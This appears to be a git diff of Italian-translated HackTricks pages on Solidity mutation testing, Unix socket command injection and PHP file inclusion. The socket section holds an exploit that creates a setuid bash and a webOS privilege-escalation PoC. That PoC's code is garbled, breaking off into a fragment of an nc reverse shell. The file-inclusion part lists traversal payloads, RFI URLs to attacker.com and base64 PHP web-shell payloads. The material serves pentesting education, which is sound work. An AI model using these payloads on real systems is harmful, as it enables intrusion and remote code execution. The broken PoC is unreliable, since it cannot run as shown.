diff --git a/src/blockchain/smart-contract-security/mutation-testing-with-slither.md b/src/blockchain/smart-contract-security/mutation-testing-with-slither.md index 22065852c..114509b12 100644 --- a/src/blockchain/smart-contract-security/mutation-testing-with-slither.md +++ b/src/blockchain/smart-contract-security/mutation-testing-with-slither.md @@ -1,14 +1,14 @@ # Mutation Testing for Solidity with Slither (slither-mutate) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} -Mutation testing "tests your tests" introducendo sistematicamente piccole modifiche (mutanti) nel tuo codice Solidity e rieseguendo la suite di test. Se un test fallisce, il mutante viene ucciso. Se i test continuano a passare, il mutante sopravvive, rivelando un punto cieco nella tua suite di test che la copertura di linee/branch non può rilevare. +Mutation testing "tests your tests" introducendo sistematicamente piccole modifiche (mutants) nel tuo codice Solidity e rieseguendo la tua test suite. Se un test fallisce, il mutant viene ucciso. Se i test continuano a passare, il mutant sopravvive, rivelando un punto cieco nella tua test suite che la line/branch coverage non può rilevare. -Idea chiave: la copertura mostra che il codice è stato eseguito; mutation testing mostra se il comportamento è effettivamente asserito. +Idea chiave: la copertura mostra che il codice è stato eseguito; mutation testing mostra se il comportamento è effettivamente verificato. ## Perché la copertura può ingannare -Considera questo semplice controllo di soglia: +Considera questo semplice controllo della soglia: ```solidity function verifyMinimumDeposit(uint256 deposit) public returns (bool) { if (deposit >= 1 ether) { @@ -18,39 +18,39 @@ return false; } } ``` -I unit test che verificano solo un valore sotto e uno sopra la soglia possono raggiungere il 100% di copertura di linee/branch pur non asserendo il confine di uguaglianza (==). Una rifattorizzazione in `deposit >= 2 ether` passerebbe comunque tali test, compromettendo silenziosamente la logica del protocollo. +I test unitari che verificano solo un valore al di sotto e uno al di sopra della soglia possono raggiungere il 100% di copertura di linee/branch pur non asserendo il confine di uguaglianza (==). Un refactor a `deposit >= 2 ether` passerebbe comunque tali test, rompendo silenziosamente la logica del protocollo. -Mutation testing evidenzia questa lacuna mutando la condizione e verificando che i test falliscano. +Il mutation testing mette in luce questa lacuna mutando la condizione e verificando che i test falliscano. -## Operatori di mutazione comuni di Solidity +## Common Solidity mutation operators -Slither’s mutation engine applica molte piccole modifiche che cambiano la semantica, come: -- Sostituzione degli operatori: `+` ↔ `-`, `*` ↔ `/`, ecc. +Il motore di mutazione di Slither applica molte piccole modifiche che cambiano la semantica, come: +- Sostituzione operatori: `+` ↔ `-`, `*` ↔ `/`, etc. - Sostituzione delle assegnazioni: `+=` → `=`, `-=` → `=` -- Sostituzione delle costanti: valore non nullo → `0`, `true` ↔ `false` -- Negazione/sostituzione della condizione dentro `if`/cicli +- Sostituzione delle costanti: diverso da zero → `0`, `true` ↔ `false` +- Negazione/sostituzione delle condizioni all'interno di `if`/cicli - Commentare intere righe (CR: Comment Replacement) - Sostituire una riga con `revert()` -- Scambio di tipi di dato: es. `int128` → `int64` +- Scambio di tipi di dato: p.es., `int128` → `int64` -Obiettivo: uccidere il 100% dei mutanti generati, oppure giustificare i sopravvissuti con ragionamenti chiari. +Obiettivo: uccidere il 100% dei mutanti generati, o giustificare i superstiti con ragionamenti chiari. -## Eseguire mutation testing con slither-mutate +## Running mutation testing with slither-mutate -Requisiti: Slither v0.10.2+. +Requirements: Slither v0.10.2+. -- Elenca opzioni e mutators: +- Elenca le opzioni e i mutatori: ```bash slither-mutate --help slither-mutate --list-mutators ``` -- Esempio Foundry (cattura i risultati e mantieni un log completo): +- Esempio Foundry (cattura i risultati e conserva un log completo): ```bash slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results) ``` -- Se non usi Foundry, sostituisci `--test-cmd` con il comando che usi per eseguire i test (es., `npx hardhat test`, `npm test`). +- Se non usi Foundry, sostituisci `--test-cmd` con il comando che usi per eseguire i test (ad es., `npx hardhat test`, `npm test`). -Gli artifacts e i report vengono salvati in `./mutation_campaign` per impostazione predefinita. I mutanti non eliminati (sopravvissuti) vengono copiati lì per l'ispezione. +Gli artifact e i report vengono salvati in `./mutation_campaign` per impostazione predefinita. I mutanti non rilevati (sopravvissuti) vengono copiati lì per l'ispezione. ### Comprendere l'output @@ -59,58 +59,58 @@ Le righe del report appaiono così: INFO:Slither-Mutate:Mutating contract ContractName INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT ``` -- The tag in brackets is the mutator alias (e.g., `CR` = Comment Replacement). -- `UNCAUGHT` means tests passed under the mutated behavior → missing assertion. +- Il tag tra parentesi è l'alias del mutator (es., `CR` = Comment Replacement). +- `UNCAUGHT` indica che i test sono passati con il comportamento mutato → manca un'asserzione. -## Ridurre il runtime: dare priorità ai mutanti impattanti +## Ridurre il runtime: dare priorità ai mutanti più impattanti Le campagne di mutation possono richiedere ore o giorni. Suggerimenti per ridurre i costi: -- Scope: Inizia solo con i contratti/directory critici, poi espandi. -- Prioritize mutators: Se un mutante ad alta priorità su una riga sopravvive (es., intera riga commentata), puoi saltare le varianti a priorità inferiore per quella riga. -- Parallelize tests se il tuo runner lo permette; cache dipendenze/build. -- Fail-fast: interrompi presto quando una modifica dimostra chiaramente una lacuna di asserzione. +- Scope: Inizia solo con i contracts/directories critici, poi espandi. +- Prioritize mutators: se un mutante ad alta priorità su una riga sopravvive (es., l'intera riga commentata), puoi saltare le varianti a priorità inferiore per quella riga. +- Parallelizza i test se il tuo runner lo permette; usa la cache per dependencies/builds. +- Fail-fast: interrompi presto quando una modifica dimostra chiaramente un gap di asserzione. ## Flusso di triage per i mutanti sopravvissuti -1) Ispeziona la riga mutata e il comportamento. -- Riproduci localmente applicando la riga mutata ed eseguendo un test mirato. +1) Ispeziona la linea mutata e il comportamento. +- Riproduci localmente applicando la linea mutata ed eseguendo un test focalizzato. 2) Rafforza i test per asserire lo stato, non solo i valori di ritorno. -- Aggiungi controlli di confine di uguaglianza (es., test threshold `==`). -- Asserisci post-condizioni: saldi, total supply, effetti di autorizzazione e eventi emessi. +- Aggiungi controlli di uguaglianza/limite (es., test threshold `==`). +- Asserisci post-condizioni: balances, total supply, effetti di autorizzazione e eventi emessi. -3) Sostituisci mock troppo permissivi con comportamenti realistici. -- Assicurati che i mock impongano transfers, percorsi di fallimento e emissione di eventi che avvengono on-chain. +3) Sostituisci i mock eccessivamente permissivi con comportamenti realistici. +- Assicurati che i mock impongano trasferimenti, percorsi di fallimento e emissioni di eventi che avvengono on-chain. 4) Aggiungi invarianti per i fuzz tests. -- Es.: conservazione del valore, saldi non negativi, invarianti di autorizzazione, supply monotona dove applicabile. +- Es., conservazione del valore, saldi non negativi, invarianti di autorizzazione, monotonia dell'offerta dove applicabile. -5) Riesegui slither-mutate fino a quando i sopravvissuti non vengono uccisi o giustificati esplicitamente. +5) Riesegui slither-mutate finché i mutanti sopravvissuti non vengono eliminati o giustificati esplicitamente. -## Caso di studio: rivelare asserzioni di stato mancanti (protocollo Arkis) +## Caso di studio: rivelare asserzioni di stato mancanti (Arkis protocol) -Una campagna di mutation durante un audit del protocollo Arkis DeFi ha fatto emergere sopravvissuti come: +Una mutation campaign durante un audit del Arkis DeFi protocol ha fatto emergere dei mutanti sopravvissuti come: ```text INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT ``` -Commenting out the assignment didn’t break the tests, proving missing post-state assertions. Root cause: code trusted a user-controlled `_cmd.value` instead of validating actual token transfers. An attacker could desynchronize expected vs. actual transfers to drain funds. Result: high severity risk to protocol solvency. +Commentare l'assegnazione non ha rotto i test, dimostrando la mancanza di asserzioni sullo stato finale. Causa principale: il codice si fidava di un `_cmd.value` controllato dall'utente invece di validare i trasferimenti effettivi di token. Un attacker poteva desincronizzare trasferimenti attesi e reali per prosciugare fondi. Risultato: rischio di alta severità per la solvibilità del protocollo. -Guidance: Treat survivors that affect value transfers, accounting, or access control as high-risk until killed. +Guidance: Considera i mutanti sopravvissuti che influenzano trasferimenti di valore, contabilità o access control come ad alto rischio finché non vengono eliminati. ## Checklist pratica - Esegui una campagna mirata: - `slither-mutate ./src/contracts --test-cmd="forge test"` -- Fai il triage dei survivors e scrivi test/invarianti che fallirebbero con il comportamento mutato. +- Triaga i mutanti sopravvissuti e scrivi test/invarianti che fallirebbero con il comportamento mutato. - Verifica saldi, supply, autorizzazioni ed eventi. -- Aggiungi test sui limiti (`==`, overflows/underflows, zero-address, zero-amount, empty arrays). -- Sostituisci mock non realistici; simula modalità di failure. -- Itera finché tutti i mutants non sono eliminati o giustificati con commenti e motivazioni. +- Aggiungi test sui casi limite (`==`, overflows/underflows, zero-address, zero-amount, empty arrays). +- Sostituisci mock irrealistici; simula modalità di errore. +- Itera finché tutti i mutanti non vengono eliminati o giustificati con commenti e razionale. -## References +## Riferimenti - [Use mutation testing to find the bugs your tests don't catch (Trail of Bits)](https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/) - [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf) - [Slither (GitHub)](https://github.com/crytic/slither) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/socket-command-injection.md b/src/linux-hardening/privilege-escalation/socket-command-injection.md index 2e8040891..8bf480226 100644 --- a/src/linux-hardening/privilege-escalation/socket-command-injection.md +++ b/src/linux-hardening/privilege-escalation/socket-command-injection.md @@ -1,8 +1,10 @@ +# Socket Command Injection + {{#include ../../banners/hacktricks-training.md}} -## Esempio di binding socket con Python +## Esempio di socket binding con Python -In the following example a **unix socket is created** (`/tmp/socket_test.s`) and everything **received** is going to be **executed** by `os.system`. So che non troverai questo nella natura, ma l'obiettivo di questo esempio è vedere come appare un codice che utilizza socket unix e come gestire l'input nel peggior caso possibile. +Nell'esempio seguente viene creato un **unix socket** (`/tmp/socket_test.s`) e tutto ciò che viene **ricevuto** sarà **eseguito** da `os.system`. So che non lo troverai nel mondo reale, ma l'obiettivo di questo esempio è vedere com'è un codice che usa unix sockets e come gestire l'input nel peggior caso possibile. ```python:s.py import socket import os, os.path @@ -24,15 +26,50 @@ print(datagram) os.system(datagram) conn.close() ``` -**Esegui** il codice usando python: `python s.py` e **controlla come il socket sta ascoltando**: +**Esegui** il codice usando python: `python s.py` e **verifica come il socket è in ascolto**: ```python netstat -a -p --unix | grep "socket_test" (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s ``` -**Sfruttare** +**Exploit** ```python echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s ``` +## Caso di studio: escalation tramite signal su UNIX socket di proprietà root (LG webOS) + +Alcuni daemons privilegiati espongono un root-owned UNIX socket che accetta input non attendibile e associa azioni privilegiate a thread-IDs e signals. Se il protocollo permette a un client non privilegiato di influenzare quale native thread venga preso di mira, potresti riuscire a innescare un percorso di codice privilegiato e escalation. + +Pattern osservato: +- Connettersi a un socket di proprietà root (es., /tmp/remotelogger). +- Creare un thread e ottenere il suo native thread id (TID). +- Inviare il TID (packed) più padding come richiesta; ricevere un acknowledgement. +- Inviare un signal specifico a quel TID per attivare il comportamento privilegiato. + +Bozza di PoC minimale: +```python +import socket, struct, os, threading, time +# Spawn a thread so we have a TID we can signal +th = threading.Thread(target=time.sleep, args=(600,)); th.start() +tid = th.native_id # Python >=3.8 +s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) +s.connect("/tmp/remotelogger") +s.sendall(struct.pack('&1 | nc 23231 > /tmp/f +``` +Note: +- Questa classe di bug nasce dal fidarsi di valori derivati dallo stato client non privilegiato (TIDs) e dal legarli a gestori di segnali o a logica privilegiata. +- Indurire imponendo credenziali sul socket, validando i formati dei messaggi e disaccoppiando le operazioni privilegiate dagli identificatori di thread forniti esternamente. + +## Riferimenti + +- [LG WebOS TV Path Traversal, Authentication Bypass and Full Device Takeover (SSD Disclosure)](https://ssd-disclosure.com/lg-webos-tv-path-traversal-authentication-bypass-and-full-device-takeover/) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index d5bb3f763..398c6f48e 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -4,7 +4,7 @@ ## File Inclusion -**Remote File Inclusion (RFI):** Il file viene caricato da un server remoto (Meglio: puoi scrivere il codice e il server lo eseguirà). In php questo è **disabilitato** di default (**allow_url_include**).\ +**Remote File Inclusion (RFI):** Il file viene caricato da un server remoto (Meglio: puoi scrivere il codice e il server lo eseguirà). In php questo è **disabilitato** per default (**allow_url_include**).\ **Local File Inclusion (LFI):** Il server carica un file locale. La vulnerabilità si verifica quando l'utente può in qualche modo controllare il file che verrà caricato dal server. @@ -19,7 +19,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../ ``` ### **Linux** -**Mescolando diverse liste LFI \*nix e aggiungendo altri percorsi ho creato questa:** +**Combinando diverse \*nix LFI lists e aggiungendo altri percorsi ho creato questa:** {{#ref}} @@ -29,7 +29,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion Prova anche a cambiare `/` con `\`\ Prova anche ad aggiungere `../../../../../` -Una lista che usa diverse tecniche per trovare il file /etc/password (per verificare se la vulnerabilità esiste) può essere trovata [qui](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) +Una lista che usa diverse tecniche per trovare il file /etc/password (per verificare se la vulnerabilità esiste) può essere trovata [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) ### **Windows** @@ -43,11 +43,11 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion Prova anche a cambiare `/` con `\`\ Prova anche a rimuovere `C:/` e aggiungere `../../../../../` -Una lista che usa diverse tecniche per trovare il file /boot.ini (per verificare se la vulnerabilità esiste) può essere trovata [qui](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) +Una lista che usa diverse tecniche per trovare il file /boot.ini (per verificare se la vulnerabilità esiste) può essere trovata [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) ### **OS X** -Controlla la lista LFI di Linux. +Controlla la lista LFI di linux. ## LFI di base e bypass @@ -55,7 +55,7 @@ Tutti gli esempi sono per Local File Inclusion ma potrebbero essere applicati an ``` http://example.com/index.php?page=../../../etc/passwd ``` -### traversal sequences rimosse non ricorsivamente +### sequenze traversal rimosse non ricorsivamente ```python http://example.com/index.php?page=....//....//....//etc/passwd http://example.com/index.php?page=....\/....\/....\/etc/passwd @@ -67,32 +67,32 @@ Bypass l'aggiunta di altri caratteri alla fine della stringa fornita (bypass di: ``` http://example.com/index.php?page=../../../etc/passwd%00 ``` -Questo è **risolto a partire da PHP 5.4** +Questo è stato risolto da PHP 5.4 -### **Encoding** +### **Codifica** -Puoi usare encodings non standard come double URL encode (e altri): +Puoi usare codifiche non standard come double URL encode (e altre): ``` http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 ``` -### Da una cartella esistente +### From existent folder -Forse il back-end sta verificando il percorso della cartella: +Forse il back-end sta controllando il percorso della cartella: ```python http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd ``` ### Esplorare le directory del file system su un server -Il file system di un server può essere esplorato ricorsivamente per identificare directory, non solo file, impiegando alcune tecniche. Questo processo comporta la determinazione della profondità delle directory e la verifica dell'esistenza di cartelle specifiche. Di seguito è riportato un metodo dettagliato per ottenere ciò: +Il file system di un server può essere esplorato ricorsivamente per identificare directory, non solo file, impiegando certe tecniche. Questo processo comporta determinare la profondità della directory e sondare l'esistenza di cartelle specifiche. Di seguito un metodo dettagliato per ottenerlo: -1. **Determine Directory Depth:** Determina la profondità della directory corrente recuperando con successo il file `/etc/passwd` (applicabile se il server è basato su Linux). Un esempio di URL potrebbe essere strutturato come segue, indicando una profondità di tre: +1. **Determinare la profondità della directory:** Accertare la profondità della directory corrente ottenendo con successo il file `/etc/passwd` (applicabile se il server è basato su Linux). Un esempio di URL potrebbe essere strutturato come segue, indicando una profondità di tre: ```bash http://example.com/index.php?page=../../../etc/passwd # depth of 3 ``` -2. **Verifica le cartelle:** Aggiungi il nome della cartella sospetta (es., `private`) all'URL, poi torna a `/etc/passwd`. Il livello di directory aggiuntivo richiede di incrementare la profondità di uno: +2. **Probe for Folders:** Aggiungi il nome della cartella sospetta (es., `private`) all'URL, poi torna a `/etc/passwd`. Il livello di directory aggiuntivo richiede di incrementare la profondità di uno: ```bash http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4 ``` @@ -101,21 +101,21 @@ http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1= - **Contenuto di `/etc/passwd`:** La presenza della cartella `private` è confermata. 4. **Esplorazione ricorsiva:** Le cartelle scoperte possono essere ulteriormente esplorate per sottodirectory o file usando la stessa tecnica o i tradizionali metodi di Local File Inclusion (LFI). -Per esplorare directory in posizioni diverse del file system, modifica di conseguenza il payload. Ad esempio, per verificare se `/var/www/` contiene una directory `private` (assumendo che la directory corrente si trovi a una profondità di 3), usa: +Per esplorare directory in posizioni diverse del file system, adatta il payload di conseguenza. Ad esempio, per verificare se `/var/www/` contiene una directory `private` (assumendo che la directory corrente sia a una profondità di 3), usa: ```bash http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd ``` ### **Path Truncation Technique** -Path truncation è un metodo impiegato per manipolare i percorsi di file nelle applicazioni web. Viene spesso usato per accedere a file riservati aggirando certe misure di sicurezza che aggiungono caratteri alla fine dei percorsi. L'obiettivo è creare un percorso file che, una volta modificato dalla misura di sicurezza, punti ancora al file desiderato. +Path truncation è un metodo impiegato per manipolare i percorsi di file nelle applicazioni web. Viene spesso usato per accedere a file restrtti bypassando certe misure di sicurezza che aggiungono caratteri alla fine dei percorsi. L'obiettivo è costruire un percorso di file che, una volta alterato dalla misura di sicurezza, punti ancora al file desiderato. -In PHP, varie rappresentazioni di un percorso file possono essere considerate equivalenti a causa della natura del file system. Per esempio: +In PHP, varie rappresentazioni di un percorso di file possono essere considerate equivalenti a causa della natura del file system. Per esempio: -- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` sono tutti trattati come lo stesso percorso. -- Quando gli ultimi 6 caratteri sono `passwd`, aggiungere una `/` (rendendolo `passwd/`) non cambia il file target. -- Analogamente, se `.php` viene aggiunto a un percorso di file (come `shellcode.php`), aggiungere un `/.` alla fine non altererà il file a cui si accede. +- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path. +- When the last 6 characters are `passwd`, appending a `/` (making it `passwd/`) doesn't change the targeted file. +- Similarly, if `.php` is appended to a file path (like `shellcode.php`), adding a `/.` at the end will not alter the file being accessed. -Gli esempi forniti dimostrano come utilizzare path truncation per accedere a `/etc/passwd`, un target comune a causa del suo contenuto sensibile (informazioni sugli account utente): +Gli esempi forniti mostrano come utilizzare path truncation per accedere a `/etc/passwd`, un obiettivo comune a causa del suo contenuto sensibile (informazioni sugli account utente): ``` http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE].... http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. @@ -125,15 +125,15 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd ``` -In questi scenari, il numero di traversals necessari potrebbe essere attorno a 2027, ma questo valore può variare in base alla configurazione del server. +In questi scenari, il numero di traversals necessari potrebbe essere circa 2027, ma questo numero può variare in base alla configurazione del server. -- **Using Dot Segments and Additional Characters**: Sequenze di traversal (`../`) combinate con segmenti di punto aggiuntivi e caratteri possono essere usate per navigare il filesystem, ignorando efficacemente le stringhe aggiunte dal server. -- **Determining the Required Number of Traversals**: Attraverso tentativi ed errori, si può scoprire il numero preciso di sequenze `../` necessarie per arrivare alla directory root e poi a `/etc/passwd`, assicurando che eventuali stringhe aggiunte (come `.php`) vengano neutralizzate ma il percorso desiderato (`/etc/passwd`) rimanga intatto. -- **Starting with a Fake Directory**: È pratica comune iniziare il percorso con una directory inesistente (come `a/`). Questa tecnica viene usata come misura precauzionale o per soddisfare i requisiti della logica di parsing dei percorsi del server. +- **Using Dot Segments and Additional Characters**: Le sequenze di traversal (`../`) combinate con segmenti di punti aggiuntivi e caratteri possono essere usate per navigare il filesystem, ignorando efficacemente le stringhe aggiunte dal server. +- **Determining the Required Number of Traversals**: Con tentativi ed errori è possibile trovare il numero preciso di sequenze `../` necessarie per raggiungere la directory root e poi `/etc/passwd`, assicurando che eventuali stringhe aggiunte (come `.php`) vengano neutralizzate ma il percorso desiderato (`/etc/passwd`) rimanga intatto. +- **Starting with a Fake Directory**: È pratica comune iniziare il percorso con una directory inesistente (ad esempio `a/`). Questa tecnica viene usata come misura precauzionale o per soddisfare i requisiti della logica di parsing dei percorsi del server. -When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method. +Quando si impiegano tecniche di path truncation, è cruciale comprendere il comportamento di parsing dei percorsi del server e la struttura del filesystem. Ogni scenario può richiedere un approccio diverso, e testare è spesso necessario per trovare il metodo più efficace. -**This vulnerability was corrected in PHP 5.3.** +**Questa vulnerabilità è stata corretta in PHP 5.3.** ### **Filter bypass tricks** ``` @@ -145,25 +145,25 @@ http://example.com/index.php?page=PhP://filter ``` ## Remote File Inclusion -In php questo è disabilitato per impostazione predefinita perché **`allow_url_include`** è **Off.** Deve essere **On** perché funzioni, e in quel caso potresti includere un file PHP dal tuo server e ottenere RCE: +In php questo è disabilitato di default perché **`allow_url_include`** è **Off.** Deve essere **On** per funzionare, e in quel caso potresti includere un file PHP dal tuo server e ottenere RCE: ```python http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php ``` -Se per qualche motivo **`allow_url_include`** è **attivo**, ma PHP sta **filtrando** l'accesso a pagine web esterne, [secondo questo post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), puoi usare ad esempio il protocollo data con base64 per decodificare un codice PHP in b64 e ottenere RCE: +Se per qualche motivo **`allow_url_include`** è **On**, ma PHP sta **filtrando** l'accesso a pagine web esterne, [secondo questo post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), potresti usare ad esempio il protocollo data con base64 per decodificare un codice PHP b64 e ottenere RCE: ``` PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt ``` > [!TIP] -> Nel codice precedente, il finale `+.txt` è stato aggiunto perché l'attaccante aveva bisogno di una stringa che finisse con `.txt`, quindi la stringa termina con quella parte e dopo la decodifica b64 quella parte ritornerà solo spazzatura e il vero codice PHP verrà incluso (e quindi eseguito). - -Un altro esempio **che non usa il protocollo `php://`** sarebbe: +> Nel codice precedente, il finale `+.txt` è stato aggiunto perché l'attaccante aveva bisogno di una stringa che terminasse con `.txt`, quindi la stringa finisce con quello e, dopo il b64 decode, quella parte restituirà solo junk e il vero codice PHP verrà incluso (e quindi eseguito). +> +> Un altro esempio **che non usa il protocollo `php://`** sarebbe: ``` data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt ``` -## Python Root element +## Elemento root in Python -In Python, in un codice come questo: +In Python, in un codice come il seguente: ```python # file_name is controlled by a user os.path.join(os.getcwd(), "public", file_name) @@ -175,15 +175,15 @@ os.path.join(os.getcwd(), "public", "/etc/passwd") ``` È il comportamento previsto secondo [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join): -> Se un componente è un percorso assoluto, tutti i componenti precedenti vengono scartati e l'unione continua dal componente del percorso assoluto. +> If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component. ## Java Elenco delle directory -Sembra che se si ha un Path Traversal in Java e si **richiede una directory** invece di un file, viene restituito un **elenco della directory**. Questo non succede in altri linguaggi (afaik). +Sembra che se hai un Path Traversal in Java e **richiedi una directory** invece di un file, **viene restituito l'elenco della directory**. Questo non succede in altri linguaggi (afaik). ## Top 25 parametri -Ecco la lista dei 25 principali parametri che potrebbero essere vulnerabili a local file inclusion (LFI) (da [link](https://twitter.com/trbughunters/status/1279768631845494787)): +Ecco la lista dei 25 parametri principali che potrebbero essere vulnerabili a local file inclusion (LFI) (da [link](https://twitter.com/trbughunters/status/1279768631845494787)): ``` ?cat={payload} ?dir={payload} @@ -215,34 +215,34 @@ Ecco la lista dei 25 principali parametri che potrebbero essere vulnerabili a lo ### php://filter -I PHP filters permettono di eseguire operazioni di base di **modifica sui dati** prima che vengano letti o scritti. Ci sono 5 categorie di filtri: +I filter PHP permettono di eseguire operazioni di base di **modifica sui dati** prima che vengano letti o scritti. Ci sono 5 categorie di filtri: - [String Filters](https://www.php.net/manual/en/filters.string.php): - `string.rot13` - `string.toupper` - `string.tolower` -- `string.strip_tags`: Rimuove i tag dai dati (tutto ciò che sta tra i caratteri "<" e ">") -- Nota che questo filtro è scomparso dalle versioni moderne di PHP +- `string.strip_tags`: Rimuove i tag dai dati (tutto ciò che è tra i caratteri "<" e ">") +- Nota che questo filtro è scomparso nelle versioni moderne di PHP - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php) - `convert.base64-encode` - `convert.base64-decode` - `convert.quoted-printable-encode` - `convert.quoted-printable-decode` -- `convert.iconv.*` : Trasforma in una codifica diversa(`convert.iconv..`). Per ottenere la **lista di tutte le codifiche** supportate esegui in console: `iconv -l` +- `convert.iconv.*` : Trasforma in una diversa codifica(`convert.iconv..`). Per ottenere la **lista di tutte le codifiche** supportate esegui in console: `iconv -l` > [!WARNING] -> Abusando del filtro di conversione `convert.iconv.*` puoi **generare testo arbitrario**, il che può essere utile per scrivere testo arbitrario o fare in modo che una funzione come include tratti testo arbitrario. Per maggiori informazioni consulta [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). +> Abusando del filtro di conversione `convert.iconv.*` puoi **generare testo arbitrario**, il che può essere utile per scrivere testo arbitrario o far sì che una funzione come include processi testo arbitrario. Per più informazioni controlla [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). - [Compression Filters](https://www.php.net/manual/en/filters.compression.php) -- `zlib.deflate`: Comprimi il contenuto (utile se si esfiltra una grande quantità di informazioni) +- `zlib.deflate`: Comprimi il contenuto (utile se si esfiltra molta info) - `zlib.inflate`: Decomprimi i dati - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php) -- `mcrypt.*` : Deprecato -- `mdecrypt.*` : Deprecato -- Other Filters +- `mcrypt.*` : Deprecati +- `mdecrypt.*` : Deprecati +- Altri filtri - Eseguendo in php `var_dump(stream_get_filters());` puoi trovare un paio di **filtri inaspettati**: - `consumed` -- `dechunk`: inverte la codifica HTTP chunked +- `dechunk`: inverte l'encoding HTTP chunked - `convert.*` ```php # String Filters @@ -271,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the # note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient) ``` > [!WARNING] -> La parte "php://filter" è insensibile alle maiuscole +> La parte "php://filter" è case insensitive ### Using php filters as oracle to read arbitrary files -[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) è proposta una tecnica per leggere un file locale senza che l'output venga restituito dal server. Questa tecnica si basa su una boolean exfiltration del file (char by char) usando php filters come oracle. Questo perché i php filters possono essere usati per rendere un testo abbastanza grande da far php generare un'eccezione. +[**In questo post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) viene proposta una tecnica per leggere un file locale senza che l'output venga restituito dal server. Questa tecnica si basa su una **esfiltrazione booleana del file (carattere per carattere) usando php filters** come oracle. Questo perché i php filters possono essere usati per rendere un testo sufficientemente grande da far generare a php un'eccezione. -Nel post originale trovi una spiegazione dettagliata della tecnica, ma qui una breve sintesi: +Nel post originale puoi trovare una spiegazione dettagliata della tecnica, ma qui c'è un rapido riassunto: - Usa il codec **`UCS-4LE`** per lasciare il carattere iniziale del testo all'inizio e far aumentare esponenzialmente la dimensione della stringa. -- Questo verrà usato per generare un **testo così grande quando la lettera iniziale è indovinata correttamente** che php innescherà un **errore** +- Questo verrà usato per generare un **testo così grande quando la lettera iniziale è indovinata correttamente** che php scatenerà un **errore**. - Il filtro **dechunk** **rimuoverà tutto se il primo char non è esadecimale**, quindi possiamo sapere se il primo char è hex. -- Questo, combinato con il precedente (e altri filters a seconda della lettera indovinata), ci permetterà di indovinare una lettera all'inizio del testo vedendo quando applichiamo abbastanza trasformazioni da farla non essere più un carattere esadecimale. Perché se è hex, dechunk non la cancellerà e la bomba iniziale farà scattare l'errore php. -- Il codec **convert.iconv.UNICODE.CP930** trasforma ogni lettera nella successiva (quindi dopo questo codec: a -> b). Questo ci permette di scoprire se la prima lettera è una `a` per esempio perché se applichiamo 6 volte questo codec a->b->c->d->e->f->g la lettera non è più un carattere esadecimale, quindi dechunk non la cancella e l'errore php 